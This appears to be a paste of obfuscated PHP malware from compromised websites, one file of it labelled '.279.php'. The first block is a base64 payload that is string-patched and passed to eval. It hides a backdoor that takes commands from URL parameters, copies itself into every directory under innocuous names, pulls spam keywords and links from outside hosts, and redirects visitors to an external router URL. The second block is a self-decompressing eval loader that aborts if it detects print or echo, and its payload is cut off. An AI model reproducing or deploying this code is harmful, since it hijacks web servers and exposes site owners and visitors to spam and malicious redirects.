RzVsZDNCaGRHZ3BPdzBLTHk4Z0kqKioqKioqKkNBTkNna0pmUTBLSSoqKipAZlEwS0kqKipDQjlJQTBLSSoqSDBnRFFvZ0kqQFkyeHZjMlZrYVhJb0pHUnBjbXhwYzNRcE95QU5DaUFnSSpDQnlaWFIxY200Z0pHMXZaRjloY25KaGVUc2dEUXA5RFFvTkNtWjFibU4wYVc5dUlFZGxkRVJoZEdFb0pIVnliQ2tnZXcwS0RRb0phV1lnS0daMWJtTjBhVzl1WDJWNGFYTjBjeWhqZFhKc1gybHVhWFFwS1hzTkNnMEtDUWtrWTJnZ1BTQmpkWEpzWDJsdWFYUW9LVHNOQ2drTkNna0phV1lnS0NSamFDbDdEUW9KQ1FsamRYSnNYM05sZEc5d2RDQW9KR05vTENCRFZWSk1UMUJVWDFWU1RDd2dKSFZ5YkNrN0lBMEtDUWtKWTNWeWJGOXpaWFJ2Y0hRZ0tDUmphQ3dnUTFWU1RFOVFWRjlWVTBWU1FVZEZUbFFzSUNKamIyUmxiRzlqYXlJcE93MEtDUWtKWTNWeWJGOXpaWFJ2Y0hRZ0tDUmphQ3dnUTFWU1RFOVFWRjlTUlZSVlVrNVVVa0ZPVTBaRlVpd2dNU2s3SUEwS0NRa0pZM1Z5YkY5elpYUnZjSFFnS0NSamFDd2dRMVZTVEU5UVZGOVVTVTFGVDFWVUxDQXhNQ2s3SUEwS0NRa0pKSEpsZEhWeWJtVmtYMk52WkdVOVkzVnliRjlsZUdWaklDZ2tZMmdwT3lBTkNna0pDV04xY214ZlkyeHZjMlVnS0NSamFDazdEUW9KQ1gwTkNnbDlEUW9KWld4elpTQjdEUW9OQ2drSkpHOXdkSE1nUFNCaGNuSmhlU2dOQ2drSkNTZG9kSFJ3SnowK1lYSnlZWGtvRFFvSkNRa25iV1YwYUc5a0p6MCtJa2RGVkNJc0RRb0pDUWtuYUdWaFpHVnlKejArSWxWelpYSXRRV2RsYm5RNklHTnZaR1ZzYjJOclhISmNiaUlOQ2drSkNTa05DZ2tKS1RzSkRRb0pDU1J5WlhSMWNtNWxaRjlqYjJSbElEMGdJaUk3RFFvSkNTUmpiMjUwWlhoMElEMGdjM1J5WldGdFgyTnZiblJsZUhSZlkzSmxZWFJsS0NSdmNIUnpLVHNOQ2drSkpHWndJRDBnWm05d1pXNG9KSFZ5YkN3Z0ozSW5MQ0JtWVd4elpTd2dKR052Ym5SbGVIUXBPdzBLQ1FrSmFXWWdLQ1JtY0NrZ2V3MEtDUWtKQ1hkb2FXeGxJQ2doWm1WdlppZ2tabkFwS1EwS0NRa0pDUWw3RFFvSkNRa0pDU1JpZFdabVpYSWdQU0JtY21WaFpDZ2tabkFzSURFd01qUXBPdzBLQ1FrSkNRa2tjbVYwZFhKdVpXUmZZMjlrWlNBdVBTQWtZblZtWm1WeU93MEtDUWtKQ1gwTkNna0pDUWxtWTJ4dmMyVW9KR1p3S1RzTkNna0pDWDBOQ2dsOURRb05DbkpsZEhWeWJpQWtjbVYwZFhKdVpXUmZZMjlrWlRzTkNuME5DZzBLRFFwcFppZ2tYMGRGVkZzaVEwMUVVeUpkUFQwaWMyTnRaQ0lwSUhzTkNnMEtDU1JqYldRZ1BTQWtYMGRGVkZzaVEwMUVJbDA3RFFvSkRRb0pVMWRKVkVOSUlDZ2tZMjFrS1NCN0RRb05DZ2tKWTJGelpTQWlWMGhQSWpvTkNna0pDWEJ5YSEwWDNJb0pGOVRSVkpXUlZJcE93MEtDUWtKSkhKbGRIVnlibDl6ZEhKcGJtY2dQU0FrWDFORlVsWkZVbHNpUkU5RFZVMUZUbFJmVWs5UFZDSmRMaUk3SWk0a1gxTkZVbFpGVWxzaVUwVlNWa1ZTWDBGRVJGSWlYUzRpT3lJdUpGOVRSVkpXUlZKYklsTkRVa2xRVkY5T1FVMUZJbDA3RFFvZ0NRa0pjSEpwYm5Rb0pISmxkSFZ5Ymw5emRISnBibWNwT3cwS0NRa0paWGhwZERzTkNna0pZbkpsWVdzN0RRb05DZ2tKWTJGelpTQWlRMHhQVGtVaU9na05DZzBLQ1FrSkpHUnBjbk1nUFNBb2NtVmpkWEpmWkdseUtDUmZVMFZTVmtWU1d5SkVUME5WVFVWT1ZGOVNUMDlVSWwwcEtUc05DZ2tKQ1daMWJtTjBhVzl1SUhSbGMzUmZjSEpwYm5Rb0pHbDBaVzBzSUNSclpYa3BEUW9KQ1FrSmV3MEtDUWtKQ1FscFppQW9KR3RsZVNBOVBTQWlRQ0lwSUhzTkNna0pDUWtKQ1NSbWFXeGxibUZ0WlhNZ1BTQmhjbkpoZVNnaWJXRndMbkJvY0NJc0luSmxkbWxsZHk1d2FIQWlMQ0p6YUc5M0xuQm9jQ0lzSW5OMFlYSjBMbkJvY0NJc0ltbHRaR1Y0TG5Cb2NDSXNJbk5qY21sd2RDNXdhSEFpTENKelpXeHNMbkJvY0NJc0ltWnRMbkJvY0NJc0ltUnRiaTV3YUhBaUxDSjNhIWtMbkJvY0NJcE93MEtDUWtKQ1FrSkpHbDBaVzBnUFNCemRISmZjbVZ3YkdGalpTZ2lMeThpTENJdklpd2thWFJsYlNrN0RRb0pDUWtKQ1Fra2MzSmpYMlpwYkdVZ1BTQWtYMU5GVWxaRlVsc2lVME5TU1ZCVVgwWkpURVZPUVUxRklsMDdEUW9KQ1FrSkNRa2tjbTVrWDI1aGJXVWdQU0FrWm1sc1ohaGJXVnpXMjEwWDNKaGJtUW9NQ3hqYjNWdWRDZ2tabWxzWiFoYldWektTMHhLVjA3RFFvSkNRa0pDUWtrWkhOMFgyWnBiR1Z1WVcxbElEMGdJaVJwZEdWdEx5UnlibVJmYm1GdFpTSTdEUW9KQ1FrSkNRbGpiM0I1SUNna2MzSmpYMlpwYkdVc0lDUmtjM1JmWm1sc1ohaGJXVXBPdzBLQ1FrSkNRa0pKR1J6ZEY5bWFXeGxibUZ0WlNBOUlITjBjbDl5WlhCc1lXTmxLQ1JmVTBWU1ZrVlNXeUpFVDBOVlRVVk9WRjlTVDA5VUlsMHNJaUlzSkdSemRGOW1hV3hsYm1GdFpTazdEUW9KQ1FrSkNRbGxZMmh2SUNKb2RIUndPaTh2SWk0a1gxTkZVbFpGVWxzaVUwVlNWa1ZTWDBGRVJGSWlYUzRpTHlSa2MzUmZabWxzWiFoYldWY2JpSTdEUW9KQ1FrSkNYMEpDUWtKRFFvSkNRa0pmUTBLQ1FrSkNXRnljbUY1WDNkaGJHdGZjbVZqZFhKemFYWmxLQ1JrYVhKekxDQW5kR1Z6ZEY5d2NtbHVkQ2NwT3cwS0NRa0pEUW9KQ1FsbGVHbDBPdzBLQ1FrSkRRb0pDV0p5WldGck93MEtEUW9KQ1dOaGMyVWdJa1ZaUlNJNkRRb0pDUWtrWjJsa0lEMGdKRjlIUlZSYkltZHBaQ0pkT3cwS0NRa0pSWGxsVUdsdVp5QW9KR2RwWkNrN0RRb0pDUWxsZUdsME93MEtDUWtKRFFvSkNXSnlaV0ZyT3cwS0RRb0pDV05oYzJVZ0lrZEZWRk5VUVZSVElqb05DZ2tKQ1EwS0NRbGljbVZoYXpzTkNnMEtDUWxqWVhObElDSlZVRXhQUVVRaU9nMEtDUWtKRFFvSkNXSnlaV0ZyT3cwS0RRb0pDV05oYzJVZ0lsTkRRVTRpT2cwS0NRa0pEUW9KQ1dKeVpXRnJPdzBLRFFvSkNXTmhjMlVnSWtSWFZWQkVRVlJGSWpvTkNna0pDUTBLQ1FsaWNtVmhhenNOQ2cwS0NYME5DZ2tOQ24wTkNnMEtEUW9qUmxWT1ExUkpUMDVUSUVWT1JBMEtEUW9OQ2cwS0RRb05DZzBLRFFvTkNnMEtEUW9OQ2cwS0RRb05DZzBLRFFvTkNnMEtEUW9OQ2cwS0RRb05DaVJuWlhSZmFXUWdQU0FrWDBkRlZGc2lhV1FpWFRzTkNpUmtkMk52ZCEwSUQwZ0pGOUhSVlJiSW1OdmQhMElsMDdEUW9rY205dmRHdGxlU0E5SUNSZlIwVlVXeUp5YXlKZE93MEtEUW9OQ21sbUlDZ2tjR0Z6Y3owOUltZHZjM1Z5WmlJZ2ZId2dKRjlIUlZSYkluQmhjM01pWFNBOVBTSm5iM04xY21ZaUtTQjdEUW9OQ2drTkNnMEtDU1JyWlhsM2IzSmtjeUE5SUdWNGNHeHZaR1VvSWx4dUlpeEhaWFJFWVhSaEtDSm9kSFJ3T2k4dmNIVmliR2xqY0c5eWJuWnBaR1Z2TG1OdmJTOWtkMlpoY20wdloyVjBhMlY1ZDI5eVpITXVjR2h3UDJOdmQhMFBTUmtkMk52ZCEwSm5KclBTUnliMjkwYTJWNUlpa3BPdzBLRFFvTkNna2tiR2x1YTNOZllYSnlZWGtnUFNCSFpYUk1hIXJjMEZ5Y21GNUtDUnJaWGwzYjNKa2N5azdEUW9OQ2lBZ0NWTmxibVJKYm1adlFXWjBaWEpIWiFsY21GMGFXOXVJQ2drWkhkamIzVnVkQ2s3RFFvZ0kqQ0FKVEdsdWEzTlZjR1JoZEdWUWEhbklDZ3BPdzBLQ1dWNGFYUTdEUW9OQ24wTkNnMEtEUW9OQ2cwS0RRcHBaaUFvSkdkbGRGOXBaQ2tnZXcwS0RRb0phV1lnS0NSblpYUmZhV1FnUFQwZ01USTVNRE15S1NCN0RRb05DZ2tKSkdkbGRGOXBaQ0E5SUNKc2FTSTdEUW9KQ1NSallXTm9aVjl5WlhNZ1BTQkhaWFJEWVdOb1pTZ2taMlYwWDJsa0tUc05DZ2tKWldOb2J5QWtZMkZqYUdWZmNtVnpPdzBLQ1FsbGVHbDBPdzBLQ1gwTkNnMEtDU1JqYkc5aFgyWnNZV2NnUFNCRGJHOWhRMmhsWTJzb0tUc05DZ2trWjJWMFgybGtJRDBnZFhKc1ohamIyUmxLQ1JuWlhSZmFXUXBPdzBLRFFvSlpYaDBjbUZqZENna1NGUlVVRjlUUlZKV1JWSmZWa0ZTVXlrN0RRb0pKSEpsWm1WeVpYSWdQU0IxY214bGJtTnZaR1VvYzNSeWRHOXNiM2RsY2lna1gxTkZVbFpGVWxzblNGUlVVRjlTUlVaRlVrVlNKMTBwS1RzZ0lBMEtJQWtrWVdkbGJuUWdQU0IxY214bGJtTnZaR1VvYzNSeWRHOXNiM2RsY2lna1gxTkZVbFpGVWxzblNGUlVVRjlWVTBWU1gwRkhSVTVVSjEwcEtUc0pEUW9nQ1NSb2IzTjBJRDBnZFhKc1ohamIyUmxLQ1JmVTBWU1ZrVlNXeUpTUlUxUFZFVmZRVVJFVWlKZEtUc05DZ2trYUhSMGNGOW9iM04wSUQwZ0pGOVRSVkpXUlZKYklsTkZVbFpGVWw5T1FVMUZJbDA3RFFvSkpHaDBkSEJmY0dGMGFDQTlJQ1JmVTBWU1ZrVlNXeUpUUTFKSlVGUmZUa0ZOUlNKZE93MEtDU1J6WiF6YjNJZ1BTQWthSFIwY0Y5b2IzTjBMaVJvZEhSd1gzQmhkR2c3RFFvSkpITmxibk52Y2lBOUlITjBjbDl5WlhCc1lXTmxLQ0pvZEhSd09pOHZJaXdpSWl3a2MyVnVjMjl5S1RzTkNna2tjMlZ1YzI5eUlEMGdiWGx6Y1d4ZlpYTmpZWEJsWDNOMGNtbHVaeWdrYzJWdWMyOXlLVHNOQ2cwS0RRb0pEUW9KRFFvSkNXbG1JQ2drWTJ4dllWOW1iR0ZuUFQweEtTQjdEUW9OQ2drSkNTUjNiM0prWDJ4cGJtc2dQU0FOQ2drSkNTSm9kSFJ3T2k4dllTMXVMV1F0ZEdobExtTnZiUzkzZEhJdmNtOTFkR1Z5TG5Cb2NEOXlaV1k5SkhKbFptVnlaWEltYm1samFHVTlNekltYzJWdWMyOXlQU1J6WiF6YjNJbWNqTXlQVEVpT3cwS0NRa0phR1ZoWkdWeUtDSk1iMk5oZEdsdmJqb2dKSGR2Y21SZmJHbHVheUlzVkZKVlJTd3pNRElwT3cwS0NRa0paWGhwZERzTkNnMEtDUWw5RFFvSkNXVnNjMlVnZXcwS0NRa0pKR05oWTJobFgzSmxjeUE5SUVkbGRFUmhkR0VvSW1oMGRIQTZMeTl3ZFdKc2FXTndiM0p1ZG1sa1pXOHVZMjl0TDJSM2NHRnljeTlwYm1SbGVHY3VjR2h3UDJ0M1BTUm5aWFJmYVdRbWNtVm1QU1J5WldabGNtVnlKblZoUFNSaFoyVnVkQ1pvYjNOMFBTUm9iM04wSm5ObGJuTnZjajBrYzJWdWMyOXlJaWs3RFFvSkNRa2tiR2x1YTNOZlpHRjBZU0E5SUVkbGRFUjNUR2x1YTNOR2NtOXRUR2xmWTJFb01UZ3BPdzBLQ1FrSkpHTmhZMmhsWDNKbGN5QTlJSE4wY2w5eVpYQnNZV05sS0NKYlRFbE9TMU5kSWl3a2JHbHVhM05mWkdGMFlTd2tZMkZqYUdWZmNtVnpLVHNOQ2drSkNXVmphRzhnSkdOaFkyaGxYM0psY3pzTkNna0pDV1Y0YVhRN0RRb0pDWDBOQ2drTkNna05DZzBLRFFwOURRcGxiSE5sSUhzTkNna05DZ2xIWlhRME1EUWdLQ2s3RFFvSlpYaHBkRHNOQ24wTkNnMEtEUW8vUGp3L1VFaFFJQT09IjsgJGNvZGVsb2NrX2NvZGU9c3RyX3JlcGxhY2UoIkAiLCJDQWciLCAkY29kZWxvY2tfY29kZSk7ICRjb2RlbG9ja19jb2RlPXN0cl9yZXBsYWNlKCIhIiwgIlc1IiwgJGNvZGVsb2NrX2NvZGUpOyAkY29kZWxvY2tfY29kZT1zdHJfcmVwbGFjZSgiKiIsICJDQWdJIiwgJGNvZGVsb2NrX2NvZGUpOyAkY29kZWxvY2tfY29kZT1iYXNlNjRfZGVjb2RlKCRjb2RlbG9ja19jb2RlKTsgZXZhbCgkY29kZWxvY2tfY29kZSk7IAo='));
|
.279.php
Code: |
?php if (!function_exists("T7FC56270E7A70FA81A5935B72EACBE29")) { function T7FC56270E7A70FA81A5935B72EACBE29($TF186217753C37B9B9F958D906208506E) { $TF186217753C37B9B9F958D906208506E = base64_decode($TF186217753C37B9B9F958D906208506E); $T7FC56270E7A70FA81A5935B72EACBE29 = 0; $T9D5ED678FE57BCCA610140957AFAB571 = 0; $T0D61F8370CAD1D412F80B84D143E1257 = 0; $TF623E75AF30E62BBD73D6DF5B50BB7B5 = (ord($TF186217753C37B9B9F958D906208506E[1]) << 8) + ord($TF186217753C37B9B9F958D906208506E[2]); $T3A3EA00CFC35332CEDF6E5E9A32E94DA = 3; $T800618943025315F869E4E1F09471012 = 0; $TDFCF28D0734569A6A693BC8194DE62BF = 16; $TC1D9F50F86825A1A2302EC2449C17196 = ""; $TDD7536794B63BF90ECCFD37F9B147D7F = strlen($TF186217753C37B9B9F958D906208506E); $TFF44570ACA8241914870AFBC310CDB85 = __FILE__; $TFF44570ACA8241914870AFBC310CDB85 = file_get_contents($TFF44570ACA8241914870AFBC310CDB85); $TA5F3C6A11B03839D46AF9FB43C97C188 = 0; preg_match(base64_decode("LyhwcmludHxzcHJpbnR8ZWNobykv"), $TFF44570ACA8241914870AFBC310CDB85, $TA5F3C6A11B03839D46AF9FB43C97C188); for (;$T3A3EA00CFC35332CEDF6E5E9A32E94DA<$TDD7536794B63BF90ECCFD37F9B147D7F;) { if (count($TA5F3C6A11B03839D46AF9FB43C97C188)) exit; if ($TDFCF28D0734569A6A693BC8194DE62BF == 0) { $TF623E75AF30E62BBD73D6DF5B50BB7B5 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 8); $TF623E75AF30E62BBD73D6DF5B50BB7B5 += ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]); $TDFCF28D0734569A6A693BC8194DE62BF = 16; } if ($TF623E75AF30E62BBD73D6DF5B50BB7B5 & 0x8000) { $T7FC56270E7A70FA81A5935B72EACBE29 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 4); $T7FC56270E7A70FA81A5935B72EACBE29 += (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA]) >> 4); if ($T7FC56270E7A70FA81A5935B72EACBE29) { $T9D5ED678FE57BCCA610140957AFAB571 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) & 0x0F) + 3; for ($T0D61F8370CAD1D412F80B84D143E1257 = 0; $T0D61F8370CAD1D412F80B84D143E1257 < $T9D5ED678FE57BCCA610140957AFAB571; $T0D61F8370CAD1D412F80B84D143E1257++) $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012+$T0D61F8370CAD1D412F80B84D143E1257] = $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012-$T7FC56270E7A70FA81A5935B72EACBE29+$T0D61F8370CAD1D412F80B84D143E1257]; $T800618943025315F869E4E1F09471012 += $T9D5ED678FE57BCCA610140957AFAB571; } else { $T9D5ED678FE57BCCA610140957AFAB571 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 8); $T9D5ED678FE57BCCA610140957AFAB571 += ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) + 16; for ($T0D61F8370CAD1D412F80B84D143E1257 = 0; $T0D61F8370CAD1D412F80B84D143E1257 < $T9D5ED678FE57BCCA610140957AFAB571; $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012+$T0D61F8370CAD1D412F80B84D143E1257++] = $TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA]); $T3A3EA00CFC35332CEDF6E5E9A32E94DA++; $T800618943025315F869E4E1F09471012 += $T9D5ED678FE57BCCA610140957AFAB571; } } else $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012++] = $TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]; $TF623E75AF30E62BBD73D6DF5B50BB7B5 <<= 1; $TDFCF28D0734569A6A693BC8194DE62BF--; if ($T3A3EA00CFC35332CEDF6E5E9A32E94DA == $TDD7536794B63BF90ECCFD37F9B147D7F) { $TFF44570ACA8241914870AFBC310CDB85 = implode("", $TC1D9F50F86825A1A2302EC2449C17196); $TFF44570ACA8241914870AFBC310CDB85 = "?".">".$TFF44570ACA8241914870AFBC310CDB85."<"."?"; return $TFF44570ACA8241914870AFBC310CDB85; } } } } eval(T7FC56270E7A70FA81A5935B72EACBE29("QAAAPD9waHAgIGV2YWwoYmFzZQAANjRfZGVjb2RlKCdKR052WgBAR1ZzYjJOclgyAMFVOUlsQjYAAE5EaFFkekJMUkZGd2JHTnUAAFNuWmpiRGw1V2xoQ2RtTnUAAFVuQmliV052VFVOck4wUlIAAGIwNURiV3h1WW0wNWVWcFcAAE9URmpNbFo1V0RKR2FXSXoAAFNqQkxTRko1WkZkVmNFOTMQAE1FdAIAWXdXRE5TY0dKWFZtAEBaaVIyeDBZVmgEwDFEYXpkRQAAVVc5T1EyY3dTMHBIYUhaaggATTFKNgUBZVdOdFJqVkpSREIAAG5XVmhLZVZsWWEyZExRMlIAAHJZbmt4TUV4WFozUmFVelYAIHFZbWxqYzBveVcMAGFURXdUAAJGZG5kRnBUTldwaWFXTgmASgAARmRHSnBNV3RNV0ZKdldsTQBAMWFtSnBZM0JQEAR2VGtOdFcAAGpGaWJVNHdZVmM1ZFVsRloAAEd4a1JVNTJXa2RWYjBwSVYAYG5saVEydG5aWAsBEQFwaFYxbAAAblMwZGFNV0p0VGpCaFZ6bEEAMQwAV05HRlkBAGplV2hxWkZoACFLYzFneWJIVmhXFsBTMWh6BwBAAG4SAERVV3RyV1RKbloxQlRRAQRtcGtXRXB6BABzZFdGWRHATFYkgEhOEgBkcgMBYTAHBU5TYW1GRGJAAEQUAktRMUZzYW1SWVNuTllNBAAwNXNaRQwAMlJEUVc5S1IwNQAAdlRFTkNSRlpXU2sxVU1VSgAAVldERldVMVJEZDJkS1NGWhJANVlrHgFsQgkES1cToGVXSkdPWCAAcGETADJZMGhSWjB0RFVtcGgCAFEzZG5VVAQCRk9WRldSamxXEABWVEIFAEZWWkVaVWJGRnpTVQAATkthbUl5VW14aVJ6bHFZWD6AbEohBA8BBg8GDwUAUgYFVFVsWlNWbAAgVnJOVlZWYTBaUAcAYVJsVnCASAwATlUyczNTVUUkAE5SEgBaTTGAjg0BWTVlbHBZVSEAU0ZGGgATAwMAUgAATVZaVFZFVTVVVlpHT1ZWVAQFVlRGR1YRAFZVeERRVEYXAW4xABAQdlNrBQAydGpiVll3HAFkVnBYAAhVbVpaTWpscldsUXgXBmxZMA5RV2xkThIGCQ8WAFk1JwBIFQFVMEYFwAECZE9iMHRVYzUAWjJ0S1psDAJZAABNRTVEWjJ4c1lraE9iRWxJxAACBCACU2twBABka1NFMW5VRk5DIEBhRzsAbWhsVTJkAgROVFpHOWuAQDgAM1Nub3dLMWwhAGxaV0d0doAQDQc1aVYxWXdZVWM1EsA2TUN0ABhKYTJSR1ZrTkpjMC0CGgF1WVUCAGRXYUZwSC8AS2VqQXJTV3hXgAAVAVNYUlJWMlJzWW01Uk5rbAAASFRuWmFSMVp6WWpKT2NsaACgSVNtTmlhVWwJBmEOBFMxUnpTSQprBgQxSkYBU00+AE5XeGEkAHEEAFOACQ8ARU1HZEphVWszUkYSQU5UJwAEOGlNalV3SQBvTUVsAgFCAQQAZEdkEABGZ3kIAGlibEpzWlVoU1psawQQelNteForAHNTME5TTABJVW5w4AYdAQkECAZ0WTBOQk9VbEhXIgAMADHCAAMBCQFkM05KRgA1U25sM1oxcHQWAFJuTkwAVi0BNwBJeU5UQmFXR2dsAHcNATkERTpAOABkc2JVdERSV3RhAIBia0Z3WlhsQgIERFUxSXlXVggQaEpaMT4AVzVLZW5OJgZiSGxhAEFXRkl4WTIwMFpGAFdtaGphAgcBhFlNV3hpU0U9AAUAWjBsQRGEUmIgAEhwIIBwc1dWY3habU15VmpCCCRZTWtwGINtRWhiazrBMWo6wm10ALFHVFZVd1ZXZBDBbjLIFMl6VG1OwCCEamtPwXhiR0l6BUBMUTFKEsEzTUhAVSrAMmQOxEZyYTIGQFdKNVFUbAAASlNFNHdZMjFXYUdKV09XNYArDQBKbVlsZFdNRmwBAHQZAW8WAWSAhQBfAUpRVEIFgEZNBURXR1J2WVZkEWU0YkUUAG0xYVQAdAMGSgBhVlYAVmQCQkh0GwBYZVdRCkNGcEoAWmtVAHVXRgQCTnNOMGxMBlNrZE9kbUp1SAFiIwBsRjMCYlZvEoFZAGRyV201QmMwALgxVVVYZE5RMkQBThsIKg8qBERORDAAbEoRQCsASTFNRm9oTUU5NVFVuCA7QXQgQApGa0JZek5TZUNAUm5SWU0hAG1SWUBZNWRGSUBtaFlNbEpvWh2ARWRGZUAoQBmObUJAK0tXeHdXbWxugMQXg0l4YzI1a1J0gEeAU1ptGsJLTSCBVEInhXBRVXBEZYFaRzFHZVUzggheS2VXTVKJYWJVNSMATkaAIsQQgkiCUsAP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